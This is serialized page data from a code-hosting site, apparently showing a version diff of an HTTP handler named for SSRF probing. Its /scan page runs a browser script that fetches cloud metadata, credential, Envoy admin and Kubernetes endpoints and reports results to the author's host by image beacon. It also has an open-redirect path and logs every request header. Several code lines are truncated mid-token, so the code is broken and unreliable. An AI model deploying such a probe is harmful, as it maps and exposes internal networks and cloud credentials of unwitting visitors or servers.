[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_152":153,"_154":155},"routes/_app.x.$handle.$name",{"_96":95,"_32":45,"_103":86,"_27":53,"_13":14,"_104":-5,"_11":105,"_106":107,"_108":109,"_110":111,"_112":113,"_20":-5,"_114":-5,"_115":-5,"_116":25,"_117":118,"_119":58,"_120":-5,"_121":-5,"_122":123},"routes/_app.x.$handle.$name.branch.$branch.version.$version.diff",{"_11":12,"_13":14,"_15":16,"_17":-5,"_18":-5},"project",{"_43":44,"_32":45,"_38":46,"_47":-5,"_48":25,"_49":50,"_51":50,"_52":53,"_54":-5,"_18":55,"_56":31,"_57":58,"_59":-5,"_60":-5,"_61":62,"_63":64,"_65":-5,"_66":-5,"_67":-5,"_68":-5,"_69":70,"_71":70,"_72":73,"_74":73,"_75":73,"_76":70,"_77":70,"_78":79,"_80":81,"_82":83,"_84":25},"version",10,"changes",[19],"aiChatInfo","userId",{"_20":21,"_22":23,"_24":25,"_26":25,"_27":28,"_29":28},"file",{"_30":31,"_32":28,"_33":34,"_35":37,"_38":39,"_40":14,"_41":42,"_24":25},"previous",{"_30":31,"_32":28,"_33":34,"_35":36},"deleted",false,"deletedHere","path","main.ts","latestPath","fileId","c3b8d112-ad9a-11f1-b734-1607ee4eb77e","name","fileType","http","content","import { blob } from \"https://esm.town/v/std/blob\";\n\nconst LOG_KEY = \"ssrf_probe_hits\";\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n if (url.searchParams.has(\"dump\")) {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n return new Response(JSON.stringify(hits, null, 2), {\n headers: { \"content-type\": \"application/json\" },\n });\n }\n\n if (url.searchParams.has(\"clear\")) {\n await blob.setJSON(LOG_KEY, []);\n return new Response(\"cleared\");\n }\n\n if (url.pathname === \"/log\") {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n type: \"scan-result\",\n target: url.searchParams.get(\"t\"),\n status: url.searchParams.get(\"s\"),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0)\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n if (url.pathname === \"/scan\") {\n const targets = [\n \"http://169.254.169.254/latest/meta-data/\",\n \"http://169.254.170.2/v2/metadata\",\n \"http://127.0.0.1:15000/\",\n \"http://127.0.0.1:15000/clusters\",\n \"http://localhost:15000/stats\",\n \"http://kubernetes.default.svc/healthz\",\n \"http://kubernetes.default.svc.cluster.local/healthz\",\n \"http://169.254.170.2/v2/credentials\",\n \"http://10.0.0.1/\",\n \"http://10.96.0.1/\",\n \"http://192.0.2.1/\"\n ];\n const html = \"

scanning

\";\n return new Response(html, { status: 200, headers: { \"conten\n }\n\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n method: req.method,\n path: url.pathname,\n query: Object.fromEntries(url.searchParams),\n headers: Object.fromEntries(req.headers),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n\n if (url.pathname.startsWith(\"/redirect/\")) {\n const encodedTarget = url.pathname.slice(\"/redirect/\".lengt\n const target = decodeURIComponent(encodedTarget);\n return new Response(null, { status: 302, headers: { Locatio\n }\n\n const accept = req.headers.get(\"accept\") || \"\";\n if (accept.includes(\"image\")) {\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0)\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n return new Response(\n \"t

VALTOWN-MARKER-9182

bodytest-9182

\",\n { status: 200, headers: { \"content-type\": \"text/html\" } }\n );\n}","import { blob } from \"https://esm.town/v/std/blob\";\n\nconst LOG_KEY = \"ssrf_probe_hits\";\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n\n if (url.searchParams.has(\"dump\")) {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n return new Response(JSON.stringify(hits, null, 2), {\n headers: { \"content-type\": \"application/json\" },\n });\n }\n\n if (url.searchParams.has(\"clear\")) {\n await blob.setJSON(LOG_KEY, []);\n return new Response(\"cleared\");\n }\n\n if (url.pathname === \"/log\") {\n const hits = (await blob.getJSON(LOG_KEY)) ?? [];\n hits.push({\n time: new Date().toISOString(),\n type: \"scan-result\",\n target: url.searchParams.get(\"t\"),\n status: url.searchParams.get(\"s\"),\n });\n await blob.setJSON(LOG_KEY, hits.slice(-300));\n const gif = Uint8Array.from(\n atob(\"R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==\"),\n (c) => c.charCodeAt(0)\n );\n return new Response(gif, { headers: { \"content-type\": \"image/gif\" } });\n }\n\n if (url.pathname === \"/scan\") {\n const targets = [\n \"http://169.254.169.254/latest/meta-data/\",\n \"http://169.254.170.2/v2/metadata\",\n \"http://127.0.0.1:15000/\",\n \"http://127.0.0.1:15000/clusters\",\n \"http://localhost:15000/stats\",\n \"http://kubernetes.default.svc/healthz\",\n \"http://kubernetes.default.svc.cluster.local/healthz\",\n \"http://169.254.170.2/v2/credentials\",\n \"http://10.0.0.1/\",\n \"http://10.96.0.1/\",\n \"http://192.0.2.1/\",\n ];\n const base = \"https://keekeetest--c3b8d112ad9a11f1b7341607e\n const scriptLines = [\n \"var base = \" + JSON.stringify(base) + \";\",\n \"var targets = \" + JSON.stringify(targets) + \";\",\n \"function ping(t, s) { var img = new Image(); img.src = bIComponent(t) + '&s=' + encodeURIComponent(s); }\",\n \"targets.forEach(function(t) {\",\n \" var ctrl = new AbortController();\",\n \" var timer = setTimeout(function(){ ctrl.abort(); }, 6000);\",\n \" fetch(t, { mode: 'no-cors', signal: ctrl.signal })\",\n \" .then(function(){ clearTimeout(timer); ping(t, 'resolved'); })\",\n \" .catch(function(e){ clearTimeout(timer); ping(t, 're });\",\n \"});\",\n ];\n const script = scriptLines.join(\"\\n\");\n const html = \"

Diff · v10